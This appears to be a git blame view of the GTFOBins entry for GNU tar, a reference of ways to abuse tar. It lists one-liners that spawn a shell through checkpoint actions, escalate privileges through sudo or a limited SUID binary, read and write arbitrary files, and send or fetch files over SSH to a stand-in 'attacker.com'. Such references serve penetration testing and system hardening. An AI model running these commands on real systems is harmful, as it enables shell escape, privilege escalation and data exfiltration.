1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/tar.md

46 lines
1.9 KiB
Markdown
Raw Normal View History

2018-05-21 21:14:41 +02:00
---
functions:
2018-10-05 19:55:38 +02:00
shell:
2018-07-16 15:01:50 +02:00
- code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
- description: This only works for GNU tar.
code: tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'
- description: This only works for GNU tar. It can be useful when only a limited command argument injection is available.
code: |
TF=$(mktemp)
echo '/bin/sh 0<&1' > "$TF"
tar cf "$TF.tar" "$TF"
tar xf "$TF.tar" --to-command sh
rm "$TF"*
file-upload:
- description: This only works for GNU tar. Create tar archive and send it via SSH to a remote location. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions).
code: |
export RHOST=attacker.com
export RUSER=root
export RFILE=/tmp/file_to_send.tar
export LFILE=file_to_send
tar cvf $RUSER@$RHOST:$RFILE $LFILE --rsh-command=/bin/ssh
file-download:
- description: This only works for GNU tar. Download and extract a tar archive via SSH. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions).
code: |
export RHOST=attacker.com
export RUSER=root
export RFILE=/tmp/file_to_get.tar
tar xvf $RUSER@$RHOST:$RFILE --rsh-command=/bin/ssh
2018-05-30 00:46:04 +02:00
file-write:
2018-07-16 15:01:50 +02:00
- description: This only works for GNU tar.
code: |
LFILE=file_to_write
TF=$(mktemp)
echo DATA > "$TF"
2018-07-16 15:01:50 +02:00
tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
file-read:
2018-07-16 15:01:50 +02:00
- description: This only works for GNU tar.
code: |
LFILE=file_to_read
tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
2018-10-05 19:55:38 +02:00
sudo:
2018-07-16 15:01:50 +02:00
- code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
2018-10-05 19:55:38 +02:00
limited-suid:
2018-07-16 15:01:50 +02:00
- code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
---